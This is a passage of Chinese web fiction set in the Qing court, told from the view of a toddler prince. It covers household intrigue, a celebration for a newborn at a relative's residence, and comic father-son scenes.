原来是李侧福晋自己唱了一出苦肉计啊。 八成是李侧福晋怕自己长久的禁足下去,可之前就算是弘时求情,胤禛也没有松口,李侧福晋便想到了自己给自己下毒,将自己包装成一个无辜的受害者,从而博得胤禛的怜惜解了禁足,说不定还能重新复宠呢。 弘晏思忖的时候,乌拉那拉氏直接将弘晏抱了起来,边往屋里走边转移话题道:“福宝,可捡了好看的石头了?” 弘晏思绪回笼,摇了摇小脑袋。 他哪里还顾得上捡石头这一回事。 乌拉那拉氏柔声道:“下午额娘再陪你去捡一些,好不好?” 弘晏糯糯的应了:“好。” 待胤禛回府,乌拉那拉氏将事情的来龙去脉告知了胤禛,这件事情一切交给胤禛处置,她不想脏了自己的手。 胤禛亦不想踏足碧波苑,直接吩咐苏培盛去传话:李氏罚俸半年,春风杖打三十大板。 主子动怒,下面的奴才自是看主子的脸色行事。 打板子的小太监手上用足了力,三十大板打完,春风已然没了气息,一张草席卷着尸/体,便拉去了乱葬岗。 第42章 第42章财不外露 用过午膳后,乌拉那拉氏带着弘晏去内室的拔步床上小憩,虽然天气热,但薄被还是要盖得。 这厢,乌拉那拉氏刚将薄被盖在弘晏身上,弘晏便骨碌着小身子钻到了乌拉那拉氏怀里软糯糯的叫着“额凉”。 乌拉那拉氏凑过去贴了贴弘晏的小脸蛋儿,哄着弘晏入睡。 院子里,银烛拿着粘杆驱赶树上的蝉鸣,免得扰了两位主子午睡。 蝉鸣声渐弱,屋子里的弘晏已然睡去,乌拉那拉氏见状,俯身亲了亲小家伙的额头,便也阖上眼眸睡去。 待弘晏母子两个午睡醒后,日头已然偏了西,添了几分凉爽,乌拉那拉氏便带着弘晏往园子里去。 上午答应小家伙要陪着他再捡些好看的石头的。 弘晏睡了饱饱的一觉,如今精神抖擞,便不用乌拉那拉氏抱,自己下地走路,也好活动活动筋骨。 乌拉那拉氏自是应了,徐徐的跟着弘晏的小步子往园子里去。 到了地方,弘晏寻寻觅觅一番,终是捡了几块好看的鹅卵石,便心满意足的与乌拉那拉氏打道回了正院。 光滑的鹅卵石洗净放置在鱼缸的底部,观赏起来确实与从前有些不同了,但鱼缸里只有鹅卵石和虎头金鱼,弘晏还是觉得单调了些。 待到第二天清晨,弘晏起床和乌拉那拉氏一起用了早膳,在征得乌拉那拉氏的同意之后,弘晏便带着王乳娘出了门。 穿过游廊,跨过月洞门,弘晏来到了王府的一片池塘前,清晨的荷花含苞欲放,粉白的花瓣儿上还带着晶莹圆滚的露珠,几尾赤色的锦鲤穿梭在莲叶之间,美得像幅画,就连空气也格外清新。 弘晏原是想用荷花与莲叶来装饰鱼缸的,所以才带着王乳娘来此。 王乳娘自是不敢让弘晏靠近池塘,便让弘晏站在岸边指挥着,自己来采摘就是。 鱼缸并不能与池塘相比,弘晏想要的不过就是个意境,是以弘晏吩咐王乳娘采摘的都是中小型的荷花与莲叶。 王乳娘采摘完六阿哥想要的荷花与莲叶之后,顺手采了几个莲蓬,回去可以剥了莲子给六阿哥吃。 待王乳娘上了岸,主仆二人满载而归。 回了正院之后,乌拉那拉氏陪着弘晏一起用荷花和莲叶装饰了一下鱼缸,如今瞧上去倒是有几分“鱼戏莲叶间”的意韵了。 弘晏往鱼缸里洒鱼食的时候,乌拉那拉氏则去剥王乳娘刚采摘回来的莲蓬。 莲蓬绿色的外衣被剥开后,乌拉那拉氏将味苦的莲子心去了,把雪白的莲子肉放进白瓷碟子里,很快便剥了一小碟出来,赶忙唤弘晏来吃。 弘晏拿起一颗莲子肉放进了嘴里,仔细品尝着,现摘现剥的莲子吃着就是新鲜,而且还带着一股儿淡淡的甜味儿。 弘晏又拿起一颗莲子肉高高举起:“额凉,吃吃。” “好”,乌拉那拉氏应了一声,由着弘晏将莲子肉喂给自己。 此时,银烛迈步入内,福身禀道:“福晋,十四爷府中的那位罗格格诞下了一位小阿哥。” 乌拉那拉氏抬眸问道:“这么快便生了?” 罗汀兰这胎算着日子左不过八个月而已。 银烛闻言,解释道:“听说是与十四爷府中的伊尔根觉罗格格起了争执,这才动了胎气。” 弘晏边吃着莲子肉,边回忆起这号人物。 德妃的母家乌雅氏的亲家罗氏之女——罗汀兰。 说起来,还差点儿成了他便宜阿玛的小老婆呢。 待到午膳时分,胤禛踩点进了正院的门。 弘晏很是骄傲的让胤禛来观赏他的鱼缸。 谁让便宜阿玛质疑他的能力! 胤禛瞧着大变样的鱼缸,眸子划过一抹惊讶,又看见弘晏得意的小表情时,不免觉得好笑,转而抱起了小奶团子,夸赞了几句。 弘晏很是受用便宜阿玛拍自己的马屁。 饭桌上,乌拉那拉氏提起了罗汀兰诞下小阿哥的事情。 胤禛反应平平,乌拉那拉氏便知胤禛估计早已知晓了。 胤禛人还在皇宫时,便听说胤禵往永和宫报了喜讯,紧接着,德妃便差人将赏赐送往了十四贝子府。 德妃虽然对于罗汀兰故意接近胤禵的事情耿耿于怀,但是罗汀兰生下的孩子到底是胤禵的亲骨肉,她的亲皇孙。 有道是:不看僧面看佛面。 两日后,十四贝子府的帖子便送上了门来,原是请胤禛过府参加小阿哥的洗三礼。 乌拉那拉氏抬眼问道:“爷可要去?” 且不说胤禛与胤禵这两兄弟不对付,就是罗汀兰与胤禛的关系,也着实有些尴尬。 胤禛语气淡漠:“帖子都送了,自是要去的。” 他若不去,宫里那位就又有说辞了。 坐在胤禛身旁的弘晏听了这话,立马扬着小脸儿说道:“窝也去。” 胤禛觉得好笑,摸了摸弘晏光滑的小脸蛋儿:“知道阿玛在说什么吗?就要跟着去?” 弘晏回答道:“看(瞧)弟(热)弟(闹)。” 胤禛翘了翘嘴角:“行,带你去。” 合着这小家伙一直在听他与福晋说话呢。 收拾妥当,胤禛与乌拉那拉氏便带着弘晏坐上马车往十四贝子府去。 胤禵虽然宠罗汀兰,但也明白规矩,罗汀兰出身商贾,又只是他的一个格格,是以小阿哥的洗三礼并未大办,邀请的宾客除了胤禛与罗家,便是交 好的八爷胤禩、九爷胤禟与十爷胤俄了。 胤禛一家三口到了十四贝子府之后,径直往前厅去。 胤禵正与胤禩、胤禟、胤俄聊的火热,八福晋怀里抱着襁褓中的小阿哥,九福晋与十福晋都围在身旁。 而胤禵发觉了胤禛探寻的目光,眸子暗了一瞬。 他就是故意不请老十三的。 胤禵站起身迎上去,语气有些生硬:“四哥来迟了,待会儿要罚酒三杯。” 胤禛觉得好笑,说道:“仪式还未开始,我怎就迟了?” 弘晏觉得气氛有些微妙,便冲着胤禵奶呼呼的喊道:“十四叔~” 胤禵闻声,视线越过胤禛,方瞧见王乳娘怀里的弘晏,便绕过胤禛走过去,直接将弘晏抱了起来,笑着说道:“弘晏,来,瞧瞧你弟弟。” 话音落下,胤禵便抱着弘晏走了过去。 来到八福晋身旁,弘晏一低头,就瞧见了襁褓里的小娃娃,瘦瘦小小的一只,跟个病猫儿一样,没什么精神。 许是早产的缘故吧。 弘晏这样想着时,身体突然腾空,又落入了另一个人的怀里:“弘晏,可认得我?” 弘晏在心里思忖道:有“草包”之名的十阿哥胤俄,他当然知道了! 瞧着弘晏迷茫的眼神,胤俄笑呵呵道:“我是你十叔啊,来,叫十叔。” 四哥这儿子软乎乎的,抱着手感真不错! 弘晏忽闪着大眼睛,喊道:“十叔。” “真乖。” 胤俄说着,忍不住上手捏了捏弘晏的小脸蛋儿。 Q/Q弹弹的,可真好玩。 胤俄手上没分寸,捏的弘晏脸疼,那手指头上戴的戒指更是硌的他难受,偏偏胤俄一点儿都没发觉,又上手来捏他的脸。 弘晏可忍不了这委屈,嘴巴一瘪,嗷嗷哭起来。 这下子,胤俄可就慌了神儿了。 乌拉那拉氏见状,一个箭步冲过去,将弘晏抱进自己怀里。 许是连锁反应,八福晋怀里的小阿哥也跟着哭了起来。 八福晋见状,赶忙轻拍着襁褓柔声哄起来,只是效果甚微。 胤禵挥了一下手,乳娘忙不迭上前从八福晋怀中接过小阿哥,而后抱下去哄了。 胤禟忍不住出声笑道:“十弟,你一下子惹哭了两个孩子。” 胤俄觉得自己冤的很:“哪里是我,分明是弘……” 胤俄话还没有说完,便瞧见了胤禛阴沉的脸。 胤俄吞了吞口水,赶忙解释道:“四哥,你方才可瞧见了,我什么也没干啊,就捏了一下弘晏的脸而已。” 这完全是出于叔叔对侄子的疼爱,仅此而已。 弘晏听见胤俄说的轻描淡写,立马不愿意了,扬着小脸儿对乌拉那拉氏说道:“额凉,脸痛痛。” 胤禟听了这话,懒洋洋的开了口,话中尽显嘲讽之意:“四哥,你这儿子养的也太娇了些。” 而乌拉那拉氏听罢弘晏的话,目光便落在了弘晏的脸颊上,果然红了一块。 乌拉那拉氏心疼的紧,又闻胤禟的话,隐隐有些不悦,抢在胤禛之前开了口:“弘晏这般小,皮肤自然娇嫩。” 说完,乌拉那拉氏又望向了胤俄。 胤俄无奈摊手道:“四嫂,我就想逗逗弘晏,可没使劲儿。” 胤俄这一抬手,乌拉那拉氏发现了端倪:“十弟,你那手上戴的戒指可是坚硬之物。” 而乌拉那拉氏怀里的弘晏早就止了哭声,只是眼睫上还挂着晶莹的泪,眼尾红红的看上去可怜极了。 胤俄闻言,瞧了瞧手指上戴着的戒指,又抬眸看向了弘晏。 弘晏的皮肤本来就白,脸颊上红起来的那一块很是显眼,且那块红印就是方才他捏过的地方。 胤俄这才恍然大悟,原来是他的戒指闯出来的祸。 胤俄不好意思的挠了挠脑袋:“四哥,四嫂,是我疏忽了。” 而胤禟更是尴尬的将脸扭过一边,端起茶盏喝茶去了。 沉默许久的胤禩,则替胤俄说起好话来:“四哥,四嫂,咱们都知道,十弟他一向是粗枝大叶的。” 十福晋见状,走到胤俄身旁,抬起胤俄的手,直接将戒指撸了下来,而后朝着乌拉那拉氏走过去,边给弘晏的拇指套上戒指边说道:“弘晏乖,你十叔不是故意的,这戒指就是十叔给你的赔罪礼了。” 弘晏看着他小小的拇指上套着大大的金镶红宝石戒指时,怔了片刻,而后朝着十福晋伸展双臂。 十福晋笑了,边抱起弘晏边说道:“弘晏这是想谢十婶婶吗?” 弘晏糯糯的开口唤道:“婶婶好~” 小插曲过后,乌拉那拉氏问道:“怎么不见十四弟妹?” 十福晋闻言,答道:“十四弟妹病了。” 乌拉那拉氏听罢,便抱着弘晏去探望完颜氏去了。 游廊上,弘晏将戒指从拇指上取下来,转而递给乌拉那拉氏:“额凉,收起来。” 有道是:财不外露。 到了正院,乌拉那拉氏抱着弘晏迈进内室,便见完颜氏依靠在床栏,面容有些憔悴。 丫鬟福身后,搬了绣墩过来,乌拉那拉氏便抱着弘晏坐在了绣墩上。 完颜氏又命丫鬟拿些点心来,乌拉那拉氏便捏起一片桃脯,送到弘晏手里:“听十弟妹说你病了,可请太医瞧了?” 完颜氏笑的勉强:“无大碍,静养几日就好了。” 乌拉那拉氏见状,开解道:“日子还长,心宽些才好过的下去。” 完颜氏微微一愣,而后开口问:“四嫂想必听说了什么?” 第43章 第43章讳疾忌医 话音刚落下,完颜氏又觉得自己说这话多余,像她们这样的人家,又能有什么秘密呢? 随即,完颜氏自顾自的说起来:“罗氏与伊尔根觉罗氏起了争执,说到底是我这个福晋无用,治家不严。” 乌拉那拉氏将话接下去:“你我凡人,岂能未卜先知。” 事情原委如何,胤禵心里怎会不清楚,不过是心上的女子出了事儿,得有个出气筒罢了。 完颜氏说完,没再开口,只是眼神里满是落寞。 人也瞧了,话也说了,乌拉那拉氏正准备带弘晏离开的时候,完颜氏又开了口:“四嫂,这些年我被额娘和十四爷架着,对你亲也不是,不亲也不是,妯娌做成这样,实非我所愿。” 德妃待她这个小儿媳好,无非是爱屋及乌,若十四福晋的位置换个人来做,德妃的态度依旧会如此。 同样,德妃冷待四爷,自然也不会给乌拉那拉氏好脸子瞧,可说到底,她与乌拉那拉氏本是无辜被卷入母子三人的恩怨之中,最该相惜才是。 听了完颜氏的一番肺腑之言,乌拉那拉氏有些动容:“你所言我自是明白的,只是你我力微,做不了什么,顾好自己和孩子,才是最要紧的。” 完颜氏点了点头。 今日上门的宾客,多为庆贺胤禵喜得一子,而来正院瞧她的人,面上都是好的,背地里却不知要如何笑话她,唯有乌拉那拉氏是真心实意的。 是以,她压了这些年的心里话,也总能借机说出口了。 说出来,整个人也能轻松些。 前厅的宴席要开始了,乌拉那拉氏带着弘晏离开了正院。 游廊上,弘晏抱紧了乌拉那拉氏。 男人大多喜新厌旧,便宜阿玛也是小老婆一堆,他要多吃饭,长高高,护好额娘。 宴席上,男人们坐在一起总要喝酒的,幸而弘晏被乌拉那拉氏抱着坐在了女眷中,远离了恶心的酒臭气。 十福晋瞧着弘晏吃完了藕片,双手又抱着个肉丸子吃得满嘴流油,不禁笑道:“四嫂,弘晏可真是乖,不像我们弘暄那个皮猴子上蹿下跳的还挑食的紧。” 从乌拉那拉氏带着弘晏过来,除了被胤俄弄哭之外,她还没见弘晏吵闹过呢。 乌拉那拉氏正欲答话却被八福晋抢了先:“调皮的孩子才聪明,咱们满人崇骑射,前个儿十弟还跟八爷说,弘暄学骑马学得快,赶明儿叫他跟弘旺一块比试比试,四嫂,你也带弘晏来瞧瞧热闹。” 十福晋隐隐有些不悦:“哟,八嫂莫不是忘了,我可不是满人呢。” 郭络罗氏这番话,别说乌拉那拉氏不爱听,她也膈应,她诚心诚意的夸一夸弘晏,碍着她郭络罗氏什 么事儿了,要夸自己家孩子还非拉上她们家弘暄,谁答应她,让弘暄与弘旺比试了,明明知晓四爷的骑射一向是兄弟中最弱的,还非拉扯着乌拉那拉氏一块儿,明晃晃的恶心人。 “我说错话了,罚酒一杯。”郭络罗氏说着,提起了一杯酒敬向十福晋,笑盈盈道:“咱们是满蒙一家。” 郭络罗氏端着酒杯,十福晋又不也好拿架,陪着抿了一杯酒。 郭络罗氏暗戳戳的奚落她的丈夫与儿子,乌拉那拉氏岂能忍:“八弟妹这话有失偏颇,汗阿玛自登基以来,便常言‘满汉一体’,无论何族都是大清的子民,且汗阿玛身上便有满、蒙、汉三族的血统,四海之内,除满、蒙、汉三族,更有藏人、回人、维吾尔人,八弟妹这话若传扬出去,岂非让大清的子民心寒?” “额凉,棒棒。”弘晏忍不住的开了口。 好在并没有人在意弘晏的话。 因为没有人能相信一个一岁多的孩童能听懂这长篇大论。 八福晋的脸色有些难看:“四嫂,一句玩笑话,你何至于咄咄逼人啊?” 乌拉那拉氏浅笑道:“八弟妹的话是玩笑话,我的话到了八弟妹耳朵里怎就成了咄咄逼人呢,九弟妹、十弟妹,你们可得说句公道话。” 被cue的九福晋与十福晋相互交换了一下眼神,自然是笑着打起圆场来。 今日大家来是庆贺胤禵喜得贵子,事情闹大了对谁都没有好处,八福晋再不忿,也只能忍下,兀自干了两杯酒。 乌拉那拉氏心里畅快,依旧笑眯眯的给弘晏喂吃的。 半个时辰后,宴席结束,众人各回各府。 回雍亲王府的马车里,因着胤禛被灌了不少酒,此时酒劲儿上来,有些头疼,便抬起手来揉捏着自己的眉心,来缓解头疼。 乌拉那拉氏见状,缓缓开了口:“待回了府,爷喝碗醒酒汤,睡上一觉应能好些。” 胤禛闻言,将手放下,睁开眼睛“嗯”了一声。 胤禛见弘晏这小家伙扒着车帘子看向窗外,便唤道:“福宝?” 弘晏听到便宜阿玛在唤自己,便扭过了小身子,疑惑的看向胤禛。 胤禛朝着弘晏伸出了双手。 在十四贝子府待了那么久,还没有机会抱抱小家伙呢。 弘晏见状,毫不犹豫的摇了摇头:“阿玛臭臭。” 弘晏说完这话,直接窝进了乌拉那拉氏的怀里,只撅着小屁股对着胤禛。 乌拉那拉氏见胤禛吃瘪,忍不住笑出来。 臭? 小家伙是一点儿面子都不给他这个阿玛了?! 胤禛狭长的眸子眯起,大手向前一伸,直接将弘晏捞到了自己怀里。 浓浓的酒气味熏人不说,弘晏讨厌便宜阿玛拎小鸡仔儿似的拎自己了。 弘晏撅起小嘴,哼哼起来。 见小家伙这般抗拒,胤禛反而有些高兴,两只手就这么托着弘晏,让弘晏与自己平视。 有道是:子不嫌母丑,狗不嫌家贫。 臭便一起臭。 他倒要看看小家伙能奈何。 弘晏被迫整个人腾空,还要与胤禛对视。 甚至,弘晏从胤禛的眼睛里读出来了得意与恶趣味。 弘晏更气了,便宜阿玛以大欺小。 于是,弘晏气鼓鼓的开始扑腾双腿挣扎起来,连两只小拳头也挥舞起来。 胤禛眉头一挑,默默地伸展手臂,将弘晏与自己的距离拉开,反正小家伙腿短胳膊短,也打不到他。 乌拉那拉氏见状,好心提醒道:“爷,差不多得了,弄哭了福宝,爷可自己哄。” 弘晏见自己一顿猛烈输出,伤害率却为零,一时间更气了,是以加上了语言攻击:“坏阿玛,坏阿玛。” 胤禛瞧着弘晏奶凶奶凶的模样,只觉得可爱的很。 不过,有了乌拉那拉氏的温馨提醒,胤禛也真怕惹哭了弘晏,毕竟小家伙今天已经掉过眼泪珠子了,他可舍不得再让小家伙哭了。 于是,胤禛便想将小家伙放下来。 可是气头上的弘晏哪里知晓胤禛的心思,嘴里喊着“坏阿玛”,双腿还不停地的扑腾着踢来踢去。 忽然,弘晏顿住了。 紧跟着传出来的是胤禛的一声闷哼。 弘晏见胤禛眉头紧锁,脸上浮现出痛苦之色,又回想起刚才奇怪的触感,弘晏才后知后觉的明白,自己刚刚踢到的是……!!! 弘晏惊住了。 呜呜,他的脚丫子不干净了! 这时,目睹了一切的乌拉那拉氏赶忙将弘晏抱回自己怀里,关切的问道:“爷,无碍吧?” 胤禛忍着痛苦闷闷的“嗯”了一声,抬起眼睛便对上了一脸无辜的弘晏。 也是,小家伙才多大,懂什么。 胤禛这样思忖着。 而弘晏也在心里盘算起来,是便宜阿玛先欺负他的,他是不小心才误伤到便宜阿玛的。 要是便宜阿玛动手打自己,自己就哭给他看,反正额娘会救自己的。 可胤禛只道:“打个盹儿”,便阖上了眼睛。 弘晏愣了愣,便明白了。 是一生要强的男人。 胤禛假寐,乌拉那拉氏与弘晏母子两个揣着明白装糊涂,车厢里没人说完,安静的出奇。 剩下的路程,弘晏只觉得煎熬,时不时的偷瞄一眼胤禛,可惜胤禛最擅长隐藏情绪,什么也瞧不出来。 也不知道他那一脚,踢得严重不严重,要是便宜阿玛因他这一脚不行了,岂非是他的罪过了。 弘晏开始胡思乱想,又有些愧疚浮上心头。 马车停在了雍亲王府门前,胤禛适时睁眼,先行下了马车。 弘晏被乌拉那拉氏抱出马车的时候,已然不见了胤禛的踪迹,想来是直接回了前院。 而乌拉那拉氏抱着弘晏,迈进雍亲王府的大门,径直往正院去的时候,还不忘吩咐小太监叫柳从南到书房去。 乌拉那拉氏知晓这事儿换做哪个男人都不会找大夫的,但还是要找个大夫瞧上一瞧才能放心。 书房内,胤禛坐在小榻上,一言不发,只阖眼揉搓着眉心。 苏培盛并不知道马车里发生了何事,只瞧着胤禛脸色不太好,还以为胤禛是酒喝多了的缘故,正准备差人去请柳从南,便见小喜子弓着腰进来:“爷,柳大夫来了。” 胤禛揉搓眉心的动作一顿,转而开口:“叫他进来。” 话音落下,胤禛已然恢复了端正的坐姿。 柳从南打千儿道:“给王爷请安,福晋说王爷醉酒,让奴才来瞧瞧。” 乌拉那拉氏的心思胤禛明白,但纵使是柳从南,胤禛也无从开口,只应了一声:“嗯。” 待柳从南诊脉过后,开了醒酒的药汤,便让柳从南下去了。 而正院里的弘晏,还眼巴巴的等着银烛将柳从南带过来呢。 忽而,弘晏听到了外面传来的脚步声,眼睛一亮,便猜测应是银烛将柳从南带过来了。 只见柳从南拎着药箱迈步入内,而后打千儿道:“给福晋请安,给六阿哥请安。” 乌拉那拉氏屏退左右,问道:“柳大夫,爷如何?” 柳从南站直了身子,答道:“回福晋的话,爷并无大碍,喝了醒酒汤,消了酒气就是了。” 乌拉那拉氏点了点头,而后又酝酿着开口:“别的呢?” 柳从南顿了顿:“别的?爷除了醉酒,身子并无大碍。” 乌拉那拉氏继续问道:“你见了爷,爷可说了什么?” 柳从南觉得福晋今日有些奇怪,但又说不上来,只如实回答道:“爷什么都没说,奴才开完醒酒汤,便退了出来。” 乌拉那拉氏这便明白了。 胤禛压根就没提那回事儿。 弘晏听到这话也有些失望,便宜阿玛怎么讳疾忌医呢。 “窝去看看阿玛。”弘晏说着,抬步就要走。 总要亲眼瞧见便宜阿玛没事儿,他才能放心。 柳从南闻言,开口道:“六阿哥,爷服了醒酒汤,这会儿子应当睡下了。” 弘晏有些无奈:“哦” 送走了柳从南,乌拉那拉氏抱起弘晏往内室去:“放心吧,福宝,你阿玛没事儿的。” 胤禛自己的身子,自己心里有数。 乌拉那拉氏开始哄弘晏午睡,弘晏虽然还是有点儿担心胤禛,但他一上午消耗了不少精神和体力,如今身子挨着松软的床,已然闭上眼睛睡着了。 第44章 第44章弄巧成拙 午睡醒来后,乌拉那拉氏给弘晏穿衣梳洗罢,便抱着弘晏去了外间的小榻上。 小厨房的杏仁酪恰好做得,银烛用托盘端了过来,放在小榻上面的矮桌上。 乌拉那拉氏拿着调羹舀起一勺喂给弘晏,弘晏咀嚼着香甜的杏仁酪,恍然想起什么,扬起小脸儿对着乌拉那拉氏说道:“额凉,再要一碗,窝要给阿玛送。” 他都睡醒了,便宜阿玛肯定也就睡醒了。 送碗杏仁酪,表一表他对便宜阿玛的歉意吧。 “好。”乌拉那拉氏应声,又舀起一勺喂到弘晏嘴边。 弘晏吃完杏仁酪以后,便要出发往前院书房去,王乳娘则拎着食盒在弘晏后面跟着。 青石路上,弘晏瞧见三头身穿着宝蓝色衣裳的弘历站立在一棵大树前,嘴里还念念有词,便快步走过去喊道:“锅锅。” 弘历先是一愣,看清来人之后,声音里满是惊喜与高兴:“六弟!” 弘晏笑嘿嘿的问道:“锅锅在干嘛?” 弘历答道:“背《三字经》。” 他本是坐在屋子里背的,但额娘说他看书时间太久了,便要他出去走走,一是活动活动筋骨,二是休息一下眼睛。 所以,他直接边走边背,两全其美。 只是,脚丫子走的有些累了,便在大树前停下了。 弘历说完,又问起弘晏来:“六弟去哪?” 弘晏如实答道:“找阿玛,锅锅要一起吗?” 弘历摇了摇脑袋:“等我背完了整本《三字经》再去找阿玛。” 弘晏:“……” 弘历到目前为止就与他说了三句话,两句不离背书,真是爱学习的好孩子。 弘晏与弘历挥手:“锅锅,窝要走了。” 那他还是不要打扰弘历背书了。 弘历笑着道:“六弟快去吧。” 弘历说完,又重新投入到背书的状态中去,而弘晏则迈着小碎步子,继续往书房去。 到了书房前,瞧着紧闭的大门,弘晏抬步迈上石阶,仰着小脸儿问道:“苏苏,阿玛醒了吗?” 弘晏这话一出口,小喜子“噗嗤”一声笑了出来。 在收到师傅苏培盛飞过来的眼刀子之后,小喜子抿着嘴,低下头去。 苏培盛扭过脸看着弘晏的时候,脸上又换上了慈祥的笑模样:“六阿哥,爷已然醒了,您等奴才通报一声。” 弘晏点了点头。 片刻功夫,苏培盛便从书房里面出来,做了个“请”的手势:“六阿哥,进去吧。” 弘晏抬步进去,见胤禛又坐在书案前处理公务,遂即出声唤道:“阿玛,窝给泥带了杏仁酪。” 弘晏说话的时候,王乳娘已然将食盒打开,把一碗杏仁酪放在了小榻的矮桌上。 胤禛闻言,待奏折上面正写着的字的最后一笔勾完,便将狼毫笔放置在笔山上,起身绕过书案走了过来。 “阿玛,泥还难受吗?”弘晏这话问得一语双关。 胤禛撩起衣袍一角落坐在小榻上,看着对自己这般关心的弘晏,目光柔和道:“好多了。” 弘晏点了点小脑袋。 那他就放心了。 胤禛正欲拿起羹匙的时候,便听弘晏自告奋勇道:“阿玛,窝来喂泥。” 道歉,就要有个道歉的样子。 望着弘晏亮晶晶的眼睛,胤禛嘴角微扬,弯腰将弘晏抱起来,放在了小榻上。 难得这小家伙对他这么殷勤。 他又岂能拂了小家伙的好意。 弘晏拿着调羹,信心满满的舀了一勺杏仁酪,而后努力抬起小胳膊要喂给胤禛,却发现自己的手还够不到胤禛,便踮起脚尖来。 有道是:身高不够,脚尖来凑。 可是,脚踮起来以后,弘晏才发现自己的手还是够不到胤禛,而且胳膊举的太久,有些发酸。 那手里握着的调羹,更因着弘晏身子不平衡跟着一抖,杏仁酪便水灵灵的滑落下去,正好掉落在了胤禛的衣袍上。 胤禛:“……” 弘晏尴尬的挠了挠小脑袋。 胤禛面无表情的拿起帕子擦干净了衣袍上面的杏仁酪,而后开口道:“我自己来吧。” 弘晏干脆的拒绝:“窝来。” 刚才只是一个小失误而已。 小家伙这般坚定,胤禛不好泼冷水,便应了。 这次,待弘晏舀起杏仁酪,小胳膊要往上抬的时候,胤禛俯下身去寻弘晏手里的羹匙,终是成功的吃上了杏仁酪。 弘晏忽闪着大眼睛问道:“好吃吗?” 瞧着弘晏充满期待的眼神,胤禛捧场道:“美味。” 胤禛的评价弘晏十分满意,笑嘿嘿的拿着羹匙去舀碗里的杏仁酪。 胤禛为了弘晏能轻松些喂自己,依旧俯下身去。 而弘晏许是因为方才投喂成功的缘故,自以为有了经验,这回抬起羹匙的速度加快,就是准头不太好,直接糊进了胤禛的鼻子里。 虽然不道德,但是弘晏忍不住笑出声来。 这厢,王乳娘赶忙拿着干净的帕子递给胤禛。 胤禛边擦干净鼻子,边哄着自己。 这是亲儿子,亲生的,亲的。 弘晏瞧见了胤禛脸色不好,立马将羹匙放下,拉着胤禛的马蹄袖晃悠道:“阿玛~” 胤禛叹了口气,望着奶呼呼的弘晏,只道:“杏仁酪,阿玛已然吃了,你且回去找你额娘吧,阿玛还有公务要处理。” 再让小家伙喂下去,还不知道身上哪里又要遭殃。 好嘛,便宜阿玛这是给他下逐客令了。 本来是来道歉的,结果弄巧成拙,雪上加霜了。 弘晏直接抱着胤禛耍赖:“阿玛,窝要陪阿玛。” 他就这么走了,良心可是过意不去的。 不等胤禛开口,弘晏又有了主意:“窝给阿玛捶捶。” 话音落下,弘晏从胤禛怀里出来,撅着小屁股趴在小榻上,两只小肉手握拳,有模有样的给胤禛捶起大腿来。 胤禛见状,勾了勾唇。 虽然小家伙的力道跟挠痒一样,但是这样孝顺,倒是难得。 苏培盛一进来,便瞧见胤禛惬意的靠在小榻上,而一旁的弘晏哼哧哼哧的卖力的给胤禛捶着腿时,愣了愣,而后才禀道:“爷,耿格格带着五阿哥来了。” 苏培盛的话刚一落地,弘晏手上的动作便停了:“嘿嘿,是锅锅。” 胤禛恢复了端正的坐姿,便叫耿格格母子进来,弘晏嚷着要下去,王乳娘便给弘晏穿好了鞋子,将小人儿抱下了小榻。 弘昼一进门,便瞧见了弘晏:“弟弟!” 耿格格拉了拉弘昼,弘昼才规规矩矩的跟着耿格格给胤禛请安。 今日耿格格带着弘昼来书房,便是交弘昼的百遍抄写。 秋叶将手里拿着的百遍抄写放到矮桌上,便退至耿格格身后。 面对即将当来的审判,耿格格有些紧张,也不知这百遍抄写能否过关,而弘昼却一心和弘晏挤眉弄眼。 这几天他活得像关在笼子里的鸟,除了吃饭、睡觉、出恭,就是被额娘拎着写百遍抄写,他一偷懒,额娘就红了眼眶,作势要哭,为了不让额娘伤心,他只能乖乖听话。 如今大功告成,他终于自由了。 是一只可以翱翔的小小鸟了! 上首,胤禛拿着百遍抄写一张张看过,字只能勉强算得上端正。 弘昼这个年纪,什么都未学,他之所以罚弘昼抄写,不过是为了磨一磨他的性子。 胤禛看完后,直接将百遍抄写放回矮桌上,问道:“弘昼,《三字经》背得如何了?” 弘昼脸上的笑容僵了僵:“阿玛,不是检查抄写吗?” 怎么又问起他的《三字经》背诵情况了。 耿格格闻此言,便知弘昼的百遍抄写是过关了,便替弘昼找补起来:“王爷,这几日弘昼都在抄写,妾身便没教弘昼新的。” 胤禛听完这个解释 ,并没有打算放过弘昼:“那就将之前学得背来。” 弘昼:“!!!” 早知道还不如不来,叫额娘一个人来好了。 耿格格闻言,提醒道:“弘昼,人之初,性本善。” 弘昼听罢,望着上首静静等待的胤禛,迟疑的开口道:“人之初,性本善,狗不叫,猫不跳。” 胤禛气得脸色铁青,直骂道:“混账,什么猫啊,狗啊的。” 耿格格悬着的心终究是死了,“扑通”一声跪在了地上:“王爷息怒,妾身愚钝,弘昼自是记性不好,妾身回去定然好好教他。” 弘昼见胤禛发了火,跟着跪在了地上,低着头,不敢吭一声。 光写一百个大字都难受/死他了,他哪里还有脑子记什么《三字经》。 弘昼只敢在心里嘟囔。 弘晏见状,小步子走过去,脚丫踩上脚踏,踮起小脚尖,抬高双手轻轻抚摸着胤禛的胸膛。 胤禛这才惊觉自己方才发了脾气,而弘晏不但没有被吓哭,还反过来给自己顺气。 胤禛面容缓和了不少,直接将弘晏抱坐在了腿上,对着跪在地上的母子二人说道:“弘昼,回去好好用心,莫要只想着玩。” 弘昼小鸡啄米似的点了点头。 胤禛挥手,示意母子二人出去。 弘晏往胤禛怀里靠了靠,哄道:“阿玛,不气,不气。” 胤禛见状,心里暖暖的,抬手摸了摸弘晏的小脑袋:“福宝,你也先回去,等阿玛忙完了,去正院陪你和你额娘用晚膳。” 弘晏点了点头,便离开了书房,而后,弘晏边走边喊没走多远的耿格格母子:“耿姨凉,锅锅。” 弘昼听到声音,原地停下了。 弘晏撵上去后,对着弘昼说道:“阿玛凶凶,锅锅别怕,窝在。” 随后,弘晏拍了拍自己的小胸脯。 弘昼笑了:“阿玛更凶的样子我都见过,我才不怕,刚才在书房里我都是装的。” 说完,弘昼狡黠的眨了眨眼睛。 他要不装作害怕,阿玛火气上来打他一顿,那他抄写百遍的罪,岂不是白受了。 第45章 第45章乐不思蜀 也是,弘昼若真的惧怕胤禛,长大后哪里还能成为荒唐王爷呢。 弘晏在心里思忖着。 这厢,耿格格听了弘昼这话顿觉头疼,只是瞧着面前玉雪可爱的弘晏,说话的语气又不由得温柔起来:“弘昼,方才在书房,多亏六阿哥帮你,还不谢谢六阿哥。” 雍亲王府里四个阿哥,唯有六阿哥弘晏在胤禛心里的地位是无可比拟的。 